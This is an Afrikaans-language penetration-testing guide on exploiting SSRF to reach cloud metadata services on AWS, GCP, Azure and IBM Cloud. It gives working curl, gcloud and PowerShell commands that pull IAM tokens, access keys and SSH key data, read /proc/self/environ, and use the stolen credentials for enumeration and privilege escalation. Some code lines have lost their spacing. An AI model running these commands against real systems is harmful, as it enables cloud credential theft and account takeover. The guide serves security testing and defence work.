Die metadata eindpunt kan vanaf enige EC2 masjien toegang verkry en bied interessante inligting daaroor. Dit is toeganklik in die url: http://169.254.169.254 (inligting oor die metadata hier).
Daar is 2 weergawes van die metadata eindpunt. Die eerste een laat toe om die eindpunt via GET versoeke te benader (so enige SSRF kan dit misbruik). Vir die weergave 2, IMDSv2, moet jy 'n token vra deur 'n PUT versoek met 'n HTTP kop te stuur en dan daardie token gebruik om toegang tot die metadata te verkry met 'n ander HTTP kop (so dit is meer ingewikkeld om te misbruik met 'n SSRF).
Let daarop dat as die EC2 instansie IMDSv2 afdwing, volgens die dokumentasie, die antwoord van die PUT versoek 'n hop limiet van 1 sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
Boonop sal IMDSv2 ook versoeke blokkeer om 'n token te verkry wat die X-Forwarded-For kop bevat. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
Jy kan dan daardie akkrediteerings neem en dit saam met die AWS CLI gebruik. Dit sal jou toelaat om enige iets te doen wat daardie rol toestemming het om te doen.
Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
Let op die aws_session_token, dit is onontbeerlik vir die profiel om te werk.
PACU kan gebruik word met die ontdekte geloofsbriewe om jou voorregte uit te vind en te probeer om voorregte te eskaleer.
SSRF in AWS ECS (Container Service) geloofsbriewe
ECS is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuurinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in ECS draai te kompromitteer, sal die metadata eindpunte verander.
As jy http://169.254.170.2/v2/credentials/<GUID> toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die <GUID> vind. Om die <GUID> te vind, moet jy die environ-veranderlike AWS_CONTAINER_CREDENTIALS_RELATIVE_URI binne die masjien lees.
Jy kan dit lees deur 'n Path Traversal na file:///proc/self/environ te benut.
Die genoemde http-adres behoort jou die AccessKey, SecretKey en token te gee.
Let daarop dat jy in sommige gevalle toegang sal hê tot die EC2 metadata instansie vanaf die houer (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang kry tot beide die houer IAM rol en die EC2 IAM rol.
SSRF vir AWS Lambda
In hierdie geval is die bewyse gestoor in omgewing veranderlikes. So, om toegang te verkry, moet jy iets soos file:///proc/self/environ benader.
Die name van die interessante omgewing veranderlikes is:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Boonop, benewens IAM bewese, het Lambda funksies ook gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin. Hierdie data is beskikbaar vir die funksie via die runtime interface en kan sensitieweinligting bevat (soos binne die stageVariables). Anders as IAM bewese, is hierdie data toeganklik oor standaard SSRF by http://localhost:9001/2018-06-01/runtime/invocation/next.
Let daarop dat lambda bewese binne die omgewing veranderlikes is. So as die stack trace van die lambda kode omgewing veranderlikes druk, is dit moontlik om hulle te exfiltreer deur 'n fout in die toepassing te veroorsaak.
Om die uitgefiltreerde diensrekeningstoken te gebruik, kan jy net doen:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
'n Azure VM kan 1 stelselsbestuurde identiteit en verskeie gebruikersbestuurde identiteite hê. Dit beteken basies dat jy alle bestuurde identiteite wat aan 'n VM gekoppel is, kan naboots.
Deur standaard sal die metadata-eindpunt die stelsels toegewyde MI (indien enige) gebruik.
Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's aandui wat 'n VM gekoppel het nie.
Daarom, om al die gekoppelde MI's te vind, kan jy doen:
Kry gekoppelde identiteite met az cli (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het)
Kry aangekoppelde identiteite met behulp van die standaard aangekoppelde MI in die metadata:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Kry al die gedefinieerde bestuurde identiteite in die huurkontrak en brute force om te sien of enige van hulle aan die VM gekoppel is:
azidentitylist
In die token versoeke gebruik enige van die parameters object_id, client_id of msi_res_id om die bestuurde identiteit aan te dui wat jy wil gebruik (docs). As daar geen is nie, sal die standaard MI gebruik word.
Van die env kan jy die waardes van IDENTITY_HEADERenIDENTITY_ENDPOINT kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata-bediener te praat.
Meestal wil jy 'n token vir een van hierdie hulpbronne hê:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal hê nie, selfs al is jy binne 'n IBM cloud VM
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Dokumentasie vir verskillende platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
